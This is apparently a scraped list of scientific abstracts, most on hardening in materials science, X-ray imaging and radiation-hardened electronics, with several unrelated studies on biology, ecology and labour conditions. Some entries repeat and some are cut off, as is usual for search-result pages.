microtomography images are polychromatic and have a moderately broad spectrum of energy, which makes the low-energy X-rays passing through a sample to be absorbed, causing a decrease in the attenuation coefficient and possibly artifacts. This decrease in the attenuation coefficient is due to a process called beam hardening. In this work the beam hardening of microtomography images of vertebrae of Wistar rats subjected to a study of hyperthyroidism was corrected by the method of linearization of the projections. It was discretized using a spectrum in energy, also called the spectrum of Herman. The results without correction for beam hardening showed significant differences in bone volume, which could lead to a possible diagnosis of osteoporosis. But the data with correction showed a decrease in bone volume, but this decrease was not significant in a confidence interval of 95%. (author) 19. Beam hardening correction algorithm in microtomography images Energy Technology Data Exchange (ETDEWEB) Sales, Erika S.; Lima, Inaya C.B.; Lopes, Ricardo T., E-mail: [email protected], E-mail: [email protected] [Coordenacao dos Programas de Pos-graduacao de Engenharia (COPPE/UFRJ), Rio de Janeiro, RJ (Brazil). Lab. de Instrumentacao Nuclear; Assis, Joaquim T. de, E-mail: [email protected] [Universidade do Estado do Rio de Janeiro (UERJ), Nova Friburgo, RJ (Brazil). Inst. Politecnico. Dept. de Engenharia Mecanica 2009-07-01 Quantification of mineral density of bone samples is directly related to the attenuation coefficient of bone. The X-rays used in microtomography images are polychromatic and have a moderately broad spectrum of energy, which makes the low-energy X-rays passing through a sample to be absorbed, causing a decrease in the attenuation coefficient and possibly artifacts. This decrease in the attenuation coefficient is due to a process called beam hardening. In this work the beam hardening of microtomography images of vertebrae of Wistar rats subjected to a study of hyperthyroidism was corrected by the method of linearization of the projections. It was discretized using a spectrum in energy, also called the spectrum of Herman. The results without correction for beam hardening showed significant differences in bone volume, which could lead to a possible diagnosis of osteoporosis. But the data with correction showed a decrease in bone volume, but this decrease was not significant in a confidence interval of 95%. (author) 20. Novel circuits for radiation hardened memories International Nuclear Information System (INIS) Haraszti, T.P.; Mento, R.P.; Moyer, N.E.; Grant, W.M. 1992-01-01 This paper reports on implementation of large storage semiconductor memories which combine radiation hardness with high packing density, operational speed, and low power dissipation and require both hardened circuit and hardened process technologies. Novel circuits, including orthogonal shuffle type of write-read arrays, error correction by weighted bidirectional codes and associative iterative repair circuits, are proposed for significant improvements of SRAMs' immunity against the effects of total dose and cosmic particle impacts. The implementation of the proposed circuit resulted in fault-tolerant 40-Mbit and 10-Mbit monolithic memories featuring a data rate of 120 MHz and power dissipation of 880 mW. These experimental serial-parallel memories were fabricated with a nonhardened standard CMOS processing technology, yet provided a total dose hardness of 1 Mrad and a projected SEU rate of 1 x 10 - 12 error/bit/day. Using radiation hardened processing improvements by factors of 10 to 100 are predicted in both total dose hardness and SEU rate 1. Characterization of Radiation Hardened Bipolar Linear Devices for High Total Dose Missions Science.gov (United States) McClure, Steven S.; Harris, Richard D.; Rax, Bernard G.; Thorbourn, Dennis O. 2012-01-01 Radiation hardened linear devices are characterized for performance in combined total dose and displacement damage environments for a mission scenario with a high radiation level. Performance at low and high dose rate for both biased and unbiased conditions is compared and the impact to hardness assurance methodology is discussed. 2. Behavior of surface residual stress in explosion hardened high manganese austenitic cast steel due to repeated impact loads International Nuclear Information System (INIS) Oda, Akira; Miyagawa, Hideaki 1985-01-01 Explosion hardened high manganese austenitic cast steel is being tried for rail crossing recently. From the previous studies, it became clear that high tensile residual stress was generated in the hardened surface layer by explosion and microcracks were observed. In this study, therefore, the behavior of surface residual stress in explosion hardened steel due to repeated impact loads was examined and compared with those of the original and shot peened steels. The results obtained are summarized as follows: (1) In the initial stage of the repetition of impact, high tensile surface residual stress in explosion hardened steel decreased rapidly with the repetition of impact, while those of the original and shot peened steels increased rapidly. This difference was attributed to the difference in depth of the work hardened layer in three testing materials. (2) Beyond 20 impacts the residual stress of three test specimens decreased gradually, and at more than 2000 impacts the compressive stress of about 500 MPa was produced regardless of the histories of working of testing materials. (3) The linear law in the second stage of residual stress fading was applicable to this case, and the range of the linear relationship was related to the depth of the work hardened layer of testing material. (4) From the changes in half-value breadth and peak intensity of diffraction X-ray, it was supposed that a peculiar microscopic strain exists in explosion hardened steel. (author) 3. Radiation Hardening of Silicon Detectors CERN Multimedia Leroy, C; Glaser, M 2002-01-01 %RD48 %title\\\\ \\\\Silicon detectors will be widely used in experiments at the CERN Large Hadron Collider where high radiation levels will cause significant bulk damage. In addition to increased leakage current and charge collection losses worsening the signal to noise, the induced radiation damage changes the effective doping concentration and represents the limiting factor to long term operation of silicon detectors. The objectives are to develop radiation hard silicon detectors that can operate beyond the limits of the present devices and that ensure guaranteed operation for the whole lifetime of the LHC experimental programme. Radiation induced defect modelling and experimental results show that the silicon radiation hardness depends on the atomic impurities present in the initial monocrystalline material.\\\\ \\\\ Float zone (FZ) silicon materials with addition of oxygen, carbon, nitrogen, germanium and tin were produced as well as epitaxial silicon materials with epilayers up to 200\\mu\$m thickness. Their im... 4. Theobromine increases NAD⁺/Sirt-1 activity and protects the kidney under diabetic conditions. Science.gov (United States) Papadimitriou, Alexandros; Silva, Kamila C; Peixoto, Elisa B M I; Borges, Cynthia M; Lopes de Faria, Jacqueline M; Lopes de Faria, José B 2015-02-01 5. Effect of Annealing on Microstructures and Hardening of Helium-Hydrogen-Implanted Sequentially Vanadium Alloys Science.gov (United States) Jiang, Shaoning; Wang, Zhiming 2018-03-01 The effect of post-irradiation annealing on the microstructures and mechanical properties of V-4Cr-4Ti alloys was studied. Helium-hydrogen-irradiated sequentially V-4Cr-4Ti alloys at room temperature (RT) were undergone post-irradiation annealing at 450 °C over periods of up to 30 h. These samples were carried out by high-resolution transmission electron microscopy (HRTEM) observation and nanoindentation test. With the holding time, large amounts of point defects produced during irradiation at RT accumulated into large dislocation loops and then dislocation nets which promoted the irradiation hardening. Meanwhile, bubbles appeared. As annealing time extended, these bubbles grew up and merged, and finally broke up. In the process, the size of bubbles increased and the number density decreased. Microstructural changes due to post-irradiation annealing corresponded to the change of hardening. Dislocations and bubbles are co-contributed to irradiation hardening. With the holding time up to 30 h, the recovery of hardening is not obvious. The phenomenon was discussed by dispersed barrier hardening model and Friedel-Kroupa-Hirsch relationship. 6. Online frequency adjustment for energy optimisation of induction hardening processes; Energetische Optimierung von Induktionshaertungsprozessen durch Online-Frequenzanpassung Energy Technology Data Exchange (ETDEWEB) Ulferts, Alexander; Andrae, Frank [HWG Inductoheat GmbH, Reichenbach (Germany) 2011-06-15 It is frequently necessary to harden multiple points on a component. The hardness specification may, in many cases, be variable, and the boundary conditions often diverse. The relevant sectors of the component are in many cases more deeply hardened, to enhance strength and vibration-fatigue properties, with simultaneous retention of ductile properties in the core, in order to reduce the danger of fracture of the heat-treated component in service. In other cases, the hardening process is intended more to provide protection against elevated surface loadings and against abrasive erosion of material. Both of these applications are illustrated on the basis of a component in the context of this article, and the requirements made on the inductive hardening process discussed. The authors consciously raise the question of the limits of technical feasibility. (orig.) 7. An increase in insulin is important for the acquisition conditioned taste aversion in Lymnaea. Science.gov (United States) Mita, Koichi; Yamagishi, Miki; Fujito, Yutaka; Lukowiak, Ken; Ito, Etsuro 2014-12-01 Conditioned taste aversion (CTA) in Lymnaea is brought about by pairing a sucrose solution (the conditioned stimulus, CS) with an electric shock (the unconditioned stimulus, US). Following repeated CS-US pairings, CTA occurs and it is consolidated into long-term memory (LTM). The best CTA is achieved, if snails are food-deprived for 1 day before training commences. With a longer period of food deprivation (5 days), learning and memory formation does not occur. It has been hypothesized that the levels of insulin in the central nervous system (CNS) are very important for CTA to occur. To test his hypothesis, we injected insulin directly into 5-day food-deprived snails. The injection of insulin, as expected, resulted in a decrease in hemolymph glucose concentration. Consistent with our hypothesis with insulin injection, learning and memory formation of CTA occurred. That is, the 'insulin spike' is more important than an increase in hemolymph glucose concentration for CTA-LTM. If we injected an insulin receptor antibody into the snails before the insulin injection, learning was formed but memory formation was not, which is consistent with our previous study. Therefore, a rise in the insulin concentration (i.e., insulin spike) in the CNS is considered to be a key determining factor in the process of CTA-LTM. Copyright © 2014 Elsevier Inc. All rights reserved. 8. RESTORATION OF LONG-FALLOW LANDS IN THE CONDITIONS OF THE INCREASED MOISTURE Directory of Open Access Journals (Sweden) N. I. Dzhabborov 2015-01-01 Full Text Available The agricultural lands, which are not used in a crop rotation, grow over with weed vegetation forming a thick sod cover. The greatest damage is caused by overgrowing of the farmland a bush and a half-grown forest. Especially it is shown in the conditions of the increased moisture. Technologies and technical means for restoration of not cultivated lands should correspond to conditions of zone specifics. The volume and rates of introduction of the long-fallow lands depend on technical equipment of the agricultural enterprises. The combined soil-cultivating unit Leader-2.5Н and the modular ring harrows Lider-BKM-6 were tested. They intended for introduction of fallow lands. These machines are worked out by JSC Sibirskiy Agropromyshlennyy Dom (Novosibirsk. Hardness of the soil changes depending on processing depth. In the 0-10 cm layer it decreases from 13 to 8.2-8.3 kg/sq•cm, in a layer of 10-20 cm - from 18.7 to 9.7-12.8 kg/cc, at a depth of 20-30 cm - from 26.1 to 15.7-24.1 kg/sq•cm. It was showed that energy consumption on recovery of 1 hа of wetlands make 1932.24 MJ that is equivalent 45.25 kg of diesel fuel. 9. Workers' strategies to cope with increasing deterioration of working conditions in the cleaning sector. Science.gov (United States) Krzeslo, Estelle; Lebeer, Guy; De Troyer, Marianne 2014-01-01 Employees working for office-cleaning companies are directly affected by the growing competition in this sector. They face a heavier workload and heightened psychological pressure. A majority of these workers are less qualified women working part-time, with flexible and inconvenient schedules. The objective of the study is to highlight the workers' strategies to deal with fast work, schedule requirements and the consequent difficulties to reconcile their professional and private life commitments. This study is based on in-depth interviews. One hundred and twenty-five male and female workers responsible for cleaning offices. The themes generated from the results highlight a continued deterioration in working conditions in this sector. They also show that even approximate respect of the theoretical workload as calculated by the sub-contractor and the client company mainly depends on the workers' subjective strategies to accommodate increasingly fragmented work hours with their private lives. In conclusion, since these individual strategies are not enough to make up for the deterioration in work conditions, improving them requires sub-contractors and client companies to agree on organisational arrangements that take into account the reality of the employees' lives. 10. Dissolution of hardened wood ash in forest soils. Studies in a column experiment International Nuclear Information System (INIS) Eriksson, Jan 1996-01-01 Dissolution of hardened and crushed ashes was studied in a column experiment during leaching with artificial rain water corresponding to 5 year-precipitations. The ashes studied were a CFB ash from Perstorp and a bottom ash from Ljungby that were added in amounts corresponding to 4 tonnes per hectare. Assuming that the studied ashes are representative and that the results can be transferred to field conditions, the most important conclusions that can be drawn are summarized in the following way: Hardened and crushed ashes are broken down relatively slowly, which particularly applies to the coarse fraction. The fine fraction of the Perstorp ashes has a good liming effect at the same time as the risk for large pH-increases appears to be small. As regards the macro-nutrients Ca and K (not the Ljungby ashes), the amounts released are probably sufficient from a forest vitalization viewpoint. As regards Mg and P, this is less certain. The heavy metals appear to be released relatively slowly and most of them are bound in non-exchangeable form in the mor layer. The exception is Cd that tends to be absorbed in the mor layer to a minor extent but which, on the other hand, is not released from the ashes in any greater amounts. The greatest risk for increased concentrations of soluble heavy metals appears to be the mobilization of part of the mor layer's reserve as a result of the salt effect of the ashes. However, this is a temporary effect. 17 refs, 18 figs, 6 tabs Figs and tabs with text in English 11. Shaping the Organizational Culture in Conditions of Increasing the Competitiveness of Enterprises Directory of Open Access Journals (Sweden) Joanna Rębisz 2010-10-01 Full Text Available The organizational culture is one of key factors which can influence the organizational success in building the long-lasting domination of an enterprise. The article is an attempt to introduce and at the same time to present the understanding of the culture in terms of expected bearings which can explain why organizational individuals (or entire organizations promote only the behaviors which are in accordance with the value and the mission of the enterprises. The author draws attention to the level of expectations and behavior, which is usually the result of team work. A lot of attention has also been paid to the phenomenon of crossing of two relations: organizational culture with the function of leadership. The author has also discussed the role of a manager as a means of shaping and supporting an organization culture in conditions of increasing competition. 12. Effect of Nonlinear Hardening of Lead Rubber Bearing on Long Term Behavior of Base Isolated Containment Building International Nuclear Information System (INIS) Park, Junhee; Choun, Young-Sun; Kim, Min-Kyu 2015-01-01 The rubber material used in laminated rubber bearings is the hyper elastic material whose stress-strain relationship can be defined as nonlinearly elastic. From the previous research, it was presented that the rubber hardness and stiffness was increased by the aging of LRB. The mechanical properties of LRB changed by aging can directly affect a nonlinear hardening behavior. Therefore it is needed to consider the nonlinear hardening effect for exactly evaluating the seismic safety of base isolated structure during the life time. In this study, the seismic response analysis of base isolated containment building was performed by using the bilinear model and the hardening model to identify the effect of structural response on the nonlinear hardening behavior of isolator. Moreover the floor response spectrum of base isolated structure considering the aging was analyzed by according to the analysis model of LRB.. The hardening behavior of lead rubber bearing occurs at high strain. Therefore it is reasonable to assume that the hysteretic model of LRB is the nonlinear hardening model for exactly evaluating the seismic response of base isolated structure. The nonlinear analysis of base isolated containment was performed by using the nonlinear hardening variables which was resulted from the test results and finite element analysis. From the analysis results, it was represented that the FRS was higher about 40% with nonlinear hardening model than with the bilinear model. Therefore the seismic response of base isolated structure with bilinear model can be underestimated than the real response. It is desired that the nonlinear hardening model of LRB is applied for the seismic risk evaluation requiring the ultimate state of LRB 13. Lake-level increasing under the climate cryoaridization conditions during the Last Glacial Maximum Science.gov (United States) Amosov, Mikhail; Strelkov, Ivan 2017-04-01 A lake genesis and lake-level increasing during the Last Glacial Maximum (LGM) are the paramount issues in paleoclimatology. Investigating these problems reveals the regularities of lake development and figures out an arid territory conditions at the LGM stage. Pluvial theory is the most prevalent conception of lake formation during the LGM. This theory is based on a fact that the water bodies emerged and their level increased due to torrential rainfalls. In this study, it is paid attention to an alternative assumption of lake genesis at the LGM stage, which is called climate cryoaridization. In accordance with this hypothesis, the endorheic water basins had their level enlarged because of a simultaneous climate aridity and temperature decrease. In this research, a lake-level increasing in endorheic regions of Central Asia and South American Altiplano of the Andes is described. The lake investigation is related to its conditions during the LGM. The study also includes a lake catalogue clearly presenting the basin conditions at the LGM stage and nowadays. The data compilation partly consists of information from an earlier work of Mikhail Amosov, Lake-levels, Vegetation And Climate In Central Asia During The Last Glacial Maximum (EGU2014-3015). According to the investigation, a lake catalogue on 27 lakes showed that most of the water bodies had higher level. This feature could be mentioned for the biggest lakes of the Aral Sea, Lake Balkhash, Issyk-Kul etc. and for the small ones located in the mountains, such as Pamir, Tian-Shan and Tibet. Yet some lakes that are situated in Central Asian periphery (Lake Qinghai and lakes in Inner Mongolia) used to be lower than nowadays. Also, the lake-level increasing of Altiplano turned to be a significant feature during the LGM in accordance with the data of 5 lakes, such as Titicaca, Coipasa-Uyuni, Lejia, Miscanti and Santa-Maria. Most of the current endorheic basins at the LGM stage were filled with water due to abundant 14. Fatigue hardening and softening studies on strain hardened 18-8 austenitic stainless steel International Nuclear Information System (INIS) 1976-01-01 Metals when subjected to fatigue harden or soften depending on their previous mechanical history. Annealed or mildly cold worked metals are known to harden while severely cold worked metals soften when subjected to fatigue loading. In the present work samples of austenitic 18-8 steel cold worked to 11% and 22% reduction in area were mounted in a vertical pulsator and fatigued in axial tension-compression. Clear cut effects were produced and it was noticed that these depended on the extent of cold work, the amplitude as well as the number of cycles of fatigue and mean stress if any. (orig.) [de 15. Deep Drawing Simulation Of High And Ultrahigh Strength Steels Under Consideration Of Anisotropic Hardening International Nuclear Information System (INIS) Roll, Karl; Faust, Alexander; Kessler, Lutz 2007-01-01 In today's sheet metal forming simulation, most attention is paid to yield loci functions, which describe the anisotropy of the material in yielding. The coefficients, defining the shape of the yield locus in these functions are usually fitted at a certain level of plastic work and are then valid for the whole range of plastic deformation. Modern high and ultrahigh strength steels, especially those with induced plasticity, may often exhibit only a very small anisotropy in yielding, but a severe anisotropy in work hardening for different loading conditions. This behavior can not be described by fitting the yield locus at a specific value of plastic deformation. An approach to take into account the anisotropic hardening of sheet metals is to provide different yield curves for several loading conditions and expand the yield locus dependent on the current form of load. By doing this, one can use a comparatively simple yield locus, like that of Hill from 1948, because all anisotropy is given by the different hardening curves. For the commercial FEM code LS DYNA the material model MATFEM Generalized Yield is available as a user subroutine, which supports this approach. In this paper, forming simulation results of different yield loci are compared with experimental results. The simulations were carried out in LS-DYNA with the Barlat 89 and 2000 yield loci and isotropic hardening and with the GenYld model combining a Hill 48 yield locus and anisotropic hardening. The deep drawing experiments were conducted on a hydraulic press, measuring binder and punch forces. The deformation of the sheet was measured by optical grid analysis. A comparison of the simulated and measured plastic strains shows that using a model including anisotropic hardening can produce better results than the usage of a complex yield locus but isotropic hardening for the examined materials. This might be interesting for e.g. spring back simulations. By combining a simple yield locus with anisotropic 16. Third-party punishment increases cooperation in children through (misaligned) expectations and conditional cooperation. Science.gov (United States) Lergetporer, Philipp; Angerer, Silvia; Glätzle-Rützler, Daniela; Sutter, Matthias 2014-05-13 The human ability to establish cooperation, even in large groups of genetically unrelated strangers, depends upon the enforcement of cooperation norms. Third-party punishment is one important factor to explain high levels of cooperation among humans, although it is still somewhat disputed whether other animal species also use this mechanism for promoting cooperation. We study the effectiveness of third-party punishment to increase children's cooperative behavior in a large-scale cooperation game. Based on an experiment with 1,120 children, aged 7 to 11 y, we find that the threat of third-party punishment more than doubles cooperation rates, despite the fact that children are rarely willing to execute costly punishment. We can show that the higher cooperation levels with third-party punishment are driven by two components. First, cooperation is a rational (expected payoff-maximizing) response to incorrect beliefs about the punishment behavior of third parties. Second, cooperation is a conditionally cooperative reaction to correct beliefs that third party punishment will increase a partner's level of cooperation. 17. Presence of riparian vegetation increases biotic condition of fish assemblages in two Brazilian reservoirs Directory of Open Access Journals (Sweden) Fabio Cop Ferreira 2015-09-01 Full Text Available Abstract The riparian vegetation in lakes and reservoirs is source of course wood structures such as trunks and branches and is used as sheltering, spawning and foraging habitats for fishes. The reduction of these submerged structures can thus, affect the composition and structure of fish assemblages in reservoirs. Aim To evaluate the influence of riparian vegetation on the biotic condition of fish assemblage by adapting the Reservoir Fish Assemblage Index (RFAI to two reservoirs in the Upper Paranapanema river basin, São Paulo State, Brazil. Methods The RFAI was adapted from metrics related to the functional characteristics and composition of fish assemblages through a protocol of metric selection and validation, and to its response to the presence of riparian vegetation. Results The final RFAI was composed by nine metrics, been lower in sites without riparian vegetation as consequence of the predominance of larger individuals and the percent of piscivorous and detritivorous fishes. Conclusions These results suggest that increasing shore habitat complexity in reservoirs by maintaining riparian vegetation increases fish biotic integrity. 18. Radiation hardening of oxygen-doped niobium by 14-MeV neutrons International Nuclear Information System (INIS) 1983-09-01 The flow properties of niobium containing 185 and 480 wt ppM oxygen have been studied following irradiation at 300K with T(d,n) neutrons to fluence levels ranging from 6 x 10 20 to 2 x 10 22 m -2 . Two hardening stages connected by a plateau region were observed in the niobium containing 185 wt ppM oxygen. Increasing the oxygen content by 300 wt ppM oxygen shifted the beginning of the high-fluence hardening stage from 6 x 10 21 to 1 x 10 21 m -2 , thereby eliminating the plateau region. This shift resulted in 1.5 times more hardening in the oxygen-doped niobium irradiated to fluence levels above 5 x 10 21 m -2 19. Rapid magnetic hardening by rapid thermal annealing in NdFeB-based nanocomposites Energy Technology Data Exchange (ETDEWEB) Chu, K.-T.; Jin, Z Q; Chakka, Vamsi M; Liu, J P [Department of Physics, University of Texas at Arlington, Arlington, TX 76019 (United States) 2005-11-21 A systematic study of heat treatments and magnetic hardening of NdFeB-based melt-spun nanocomposite ribbons have been carried out. Comparison was made between samples treated by rapid thermal annealing and by conventional furnace annealing. Heating rates up to 200 K s{sup -1} were adopted in the rapid thermal processing. It was observed that magnetic hardening can be realized in an annealing time as short as 1 s. Coercivity of 10.2 kOe in the nanocomposites has been obtained by rapid thermal annealing for 1 s, and prolonged annealing did not give any increase in coercivity. Detailed results on the effects of annealing time, temperature and heating rate have been obtained. The dependence of magnetic properties on the annealing parameters has been investigated. Structural characterization revealed that there is a close correlation between magnetic hardening and nanostructured morphology. The coercivity mechanism was also studied by analysing the magnetization minor loops. 20. Investigation of modulus hardening of various co-clusters in aged Al-Cu-Mg-Ag alloy by atom probe tomography International Nuclear Information System (INIS) Bai, Song; Liu, Zhiyi; Ying, Puyou; Wang, Jian; Li, Junlin 2016-01-01 The modulus hardening capability of various co-clusters in a low Cu/Mg ratio Al-Cu-Mg-Ag alloy aged at 165 °C is investigated by quantitative atom probe tomography analysis. Prolonged aging from 5 min to 2 h leads to the simultaneous increase in the critical shear stress of both Mg-Ag and Cu-Mg co-clusters. Regardless of the higher shear modulus of Cu-Mg co-clusters, calculation results show that Mg-Ag co-clusters possess a greater modulus hardening capability than Cu-Mg co-clusters, suggesting its primary contribution to the rapid hardening at the early aging stage. As aging extends from 30 min to 2 h, the increment in the critical shear stress of Mg-Ag co-clusters is lower than that of Cu-Mg co-clusters due to the precipitation of high density Ω phase. In addition, the shear modulus of Mg-Ag co-clusters is generally independent on its size at each investigated condition. 1. Investigation of modulus hardening of various co-clusters in aged Al-Cu-Mg-Ag alloy by atom probe tomography Energy Technology Data Exchange (ETDEWEB) Bai, Song [Key Laboratory of Nonferrous Metal Materials Science and Engineering, Ministry of Education, Central South University, Changsha 410083 (China); School of Material Science and Engineering, Central South University, Changsha 410083 (China); Liu, Zhiyi, E-mail: [email protected] [Key Laboratory of Nonferrous Metal Materials Science and Engineering, Ministry of Education, Central South University, Changsha 410083 (China); School of Material Science and Engineering, Central South University, Changsha 410083 (China); Ying, Puyou; Wang, Jian; Li, Junlin [Key Laboratory of Nonferrous Metal Materials Science and Engineering, Ministry of Education, Central South University, Changsha 410083 (China); School of Material Science and Engineering, Central South University, Changsha 410083 (China) 2016-06-21 The modulus hardening capability of various co-clusters in a low Cu/Mg ratio Al-Cu-Mg-Ag alloy aged at 165 °C is investigated by quantitative atom probe tomography analysis. Prolonged aging from 5 min to 2 h leads to the simultaneous increase in the critical shear stress of both Mg-Ag and Cu-Mg co-clusters. Regardless of the higher shear modulus of Cu-Mg co-clusters, calculation results show that Mg-Ag co-clusters possess a greater modulus hardening capability than Cu-Mg co-clusters, suggesting its primary contribution to the rapid hardening at the early aging stage. As aging extends from 30 min to 2 h, the increment in the critical shear stress of Mg-Ag co-clusters is lower than that of Cu-Mg co-clusters due to the precipitation of high density Ω phase. In addition, the shear modulus of Mg-Ag co-clusters is generally independent on its size at each investigated condition. 2. The role of strain hardening in the transition from dislocation-mediated to frictional deformation of marbles within the Karakoram Fault Zone, NW India Science.gov (United States) Wallis, David; Lloyd, Geoffrey E.; Hansen, Lars N. 2018-02-01 The onset of frictional failure and potentially seismogenic deformation in carbonate rocks undergoing exhumation within fault zones depends on hardening processes that reduce the efficiency of aseismic dislocation-mediated deformation as temperature decreases. However, few techniques are available for quantitative analysis of dislocation slip system activity and hardening in natural tectonites. Electron backscatter diffraction maps of crystal orientations offer one such approach via determination of Schmid factors, if the palaeostress conditions can be inferred and the critical resolved shear stresses of slip systems are constrained. We analyse calcite marbles deformed in simple shear within the Karakoram Fault Zone, NW India, to quantify changes in slip system activity as the rocks cooled during exhumation. Microstructural evidence demonstrates that between ∼300 °C and 200-250 °C the dominant deformation mechanisms transitioned from dislocation-mediated flow to twinning and frictional failure. However, Schmid factor analysis, considering critical resolved shear stresses for yield of undeformed single crystals, indicates that the fraction of grains with sufficient resolved shear stress for glide apparently increased with decreasing temperature. Misorientation analysis and previous experimental data indicate that strain-dependent work hardening is responsible for this apparent inconsistency and promoted the transition from dislocation-mediated flow to frictional, and potentially seismogenic, deformation. 3. Rapid hardening induced by electric pulse annealing in nanostructured pure aluminum DEFF Research Database (Denmark) Zeng, Wei; Shen, Yao; Zhang, Ning 2012-01-01 Nanostructured pure aluminum was fabricated by heavy cold-rolling and then subjected to recovery annealing either by applying electric pulse annealing or by traditional air furnace annealing. Both annealing treatments resulted in an increase in yield strength due to the occurrence of a “dislocation...... source-limited hardening” mechanism. However, the hardening kinetics was substantially faster for the electric pulse annealed material. Detailed microstructural characterization suggested that the rapid hardening during electric pulse annealing is related to an enhanced rate of recovery of dislocation... 4. Disorientations and their role on the work-hardening in stage IV DEFF Research Database (Denmark) Pantleon, W. 2005-01-01 statistical reasons still lead to stage III behavior and a saturation of the ow stress, but deterministic contributions to the development of disorienta- tions, as dierences in activated slip systems across boundaries, cause a linear increase of the flow stress at large strains. Such a constant work......The eect of deformation-induced disorientations on work-hardening of metals is modelled by dislocation dynamics. By incorporating excess dislocations related to disori- entations, Kocks' dislocation model describing stage III hardening is extended to stage IV. Disorientations evolving from purely... 5. Observation of a New Mechanism Balancing Hardening and Softening in Metals DEFF Research Database (Denmark) Yu, Tianbo; Hansen, Niels; Huang, Xiaoxu 2014-01-01 Plastic deformation of metals refines the microstructure and increases the strength through work hardening, but this effect of deformation is counterbalanced by dynamic recovery. After large strain, the microstructure typically shows a lamellar morphology, with finely spaced lamellar boundaries...... connected by triple junctions. Here, we report that mechanically assisted triple junction motion is an important contributor to dynamic recovery, leading to an almost steady state. Triple junction motion replaces two boundaries by one, while maintaining the structural morphology. The observation...... rationalizes both a decreasing work hardening rate and the approach to a dynamic equilibrium of structural refinement at large strains.... 6. Mechanical properties of metastable austenitic steels, strengthened by hydroextruction and structural hardening International Nuclear Information System (INIS) Beresnev, B.I.; Georgieva, I.Ya.; Eshchenko, R.N.; Teplov, V.A. 1981-01-01 Different regimes of complex strengthening of steels of Fe-Ni-Mo-C system by phase hardening and plastic deformation by hydroextrusion are investigated. It is stated that the degree of strengthening depends on consequence of strengthening operations. Plastic deformation by hydroextrusion of steels stre--ngthened by phase hardening ensures increase of strength (Δσsub(0.2)=500 MPa) at high plasticity (delta=25%). Maximal values of strength properties can be achieved if hydroextrusion is conducted before and after thansverse α→γ-transformation [ru 7. Dislocation Starvation and Exhaustion Hardening in Mo-alloy Nanofibers Energy Technology Data Exchange (ETDEWEB) Chisholm, Claire [University of California, Berkeley & LBNL; Bei, Hongbin [ORNL; Lowry, M. B. [University of California, Berkeley; Oh, Jason [Hysitron, Inc., MN; Asif, S.A. Syed [Hysitron, Inc., MN; Warren, O. [Hysitron, Inc., MN; Shan, Zhiwei [Xi' an Jiaotong University, China & Hysitron, Inc., MN; George, Easo P [ORNL; Minor, Andrew [University of California, Berkeley & LBNL 2012-01-01 The evolution of defects in Mo alloy nanofibers with initial dislocation densities ranging from 0 to 1.6 1014 m2 were studied using an in situ push-to-pull device in conjunction with a nanoindenter in a transmission electron microscope. Digital image correlation was used to determine stress and strain in local areas of deformation. When they had no initial dislocations the Mo alloy nanofibers suffered sudden catastrophic elongation following elastic deformation to ultrahigh stresses. At the other extreme fibers with a high dislocation density underwent sustained homogeneous deformation after yielding at much lower stresses. Between these two extremes nanofibers with intermediate dislocation densities demonstrated a clear exhaustion hardening behavior, where the progressive exhaustion of dislocations and dislocation sources increases the stress required to drive plasticity. This is consistent with the idea that mechanical size effects ( smaller is stronger ) are due to the fact that nanostructures usually have fewer defects that can operate at lower stresses. By monitoring the evolution of stress locally we find that exhaustion hardening causes the stress in the nanofibers to surpass the critical stress predicted for self-multiplication, supporting a plasticity mechanism that has been hypothesized to account for the rapid strain softening observed in nanoscale bcc materials at high stresses. 8. Laser transformation hardening effect on hardening zone features and surface hardness of tool steel AISI D2 Directory of Open Access Journals (Sweden) D. Lesyk 2017-06-01 Full Text Available The relationship of technological input regimes of the laser transformation hardening on change the hardening depth, hardening width, and hardening angle, as well as surface hardness of the tool steel AISI D2 using multifactor experiment with elements of the analysis of variance and regression equations was determined. The laser transformation hardening process implemented by controlling the heating temperature using Nd:YAG fiber laser with scanner, pyrometer and proportional-integral-differential controller. The linear and quadratic regression models are developed, as well as response surface to determine the effect of the heating temperature and feed rate of the treated surface on the energy density of the laser beam, hardening depths, hardening width, hardening angle, and surface hardness are designed. The main effect on the energy density of the laser beam has a velocity laser treatment, on the other hand, the main effect on the geometrical parameters of the laser hardened zone and surface hardness has temperature heating are shown. The optimum magnitudes of the heating temperature (1270 °C and feed rate of the treated surface (90 mm/min for laser transformation hardening of the tool steel AISI D2 using fiber laser with scanner were defined. 9. Increased ophthalmic acid production is supported by amino acid catabolism under fasting conditions in mice. Science.gov (United States) Kobayashi, Sho; Lee, Jaeyong; Takao, Toshifumi; Fujii, Junichi 2017-09-23 Glutathione (GSH) plays pivotal roles in antioxidation and detoxification. The transsulfuration pathway, in conjunction with methionine metabolism, produces equimolar amounts of cysteine (Cys) and 2-oxobutyric acid (2OB). The resulting 2OB is then converted into 2-aminobutyric acid (2AB) by a transaminase and is utilized as a substitute for Cys by the GSH-synthesizing machinery to produce ophthalmic acid (OPT). By establishing a method for simultaneously measuring Cys, GSH, and OPT by liquid chromatography-mass spectrometry, we found that fasting causes an elevation in OPT levels in the liver and blood plasma, even though the levels of Cys and GSH are decreased. Autophagy was activated, but the levels of GSH/OPT-synthesizing enzymes remained unchanged. After 6 h of fasting, the mice were given 1% 2AB and/or 5% glucose in the drinking water for an additional 24 h and the above metabolites analyzed. 2AB administration caused an increase in OPT levels, and, when glucose was co-administered with 2AB, the levels of OPT were elevated further but GSH levels were decreased somewhat. These results suggest that, while Cys is utilized for glyconeogenesis under fasting conditions, reaching levels that were insufficient for the synthesis of GSH, 2OB was preferentially converted to 2AB via amino acid catabolism and was utilized as a building block for OPT. Thus the consumption of Cys and the parallel elevation of 2AB under fasting conditions appeared to force γ-glutamylcysteine synthetase to form γ-glutamyl-2AB, despite the fact that the enzyme has a higher Km value for 2AB than Cys. Copyright © 2017 Elsevier Inc. All rights reserved. 10. BUSFET -- A radiation-hardened SOI transistor International Nuclear Information System (INIS) Schwank, J.R.; Shaneyfelt, M.R.; Draper, B.L.; Dodd, P.E. 1999-01-01 The total-dose hardness of SOI technology is limited by radiation-induced charge trapping in gate, field, and SOI buried oxides. Charge trapping in the buried oxide can lead to back-channel leakage and makes hardening SOI transistors more challenging than hardening bulk-silicon transistors. Two avenues for hardening the back-channel are (1) to use specially prepared SOI buried oxides that reduce the net amount of trapped positive charge or (2) to design transistors that are less sensitive to the effects of trapped charge in the buried oxide. In this work, the authors propose a partially-depleted SOI transistor structure for mitigating the effects of trapped charge in the buried oxide on radiation hardness. They call this structure the BUSFET--Body Under Source FET. The BUSFET utilizes a shallow source and a deep drain. As a result, the silicon depletion region at the back channel caused by radiation-induced charge trapping in the buried oxide does not form 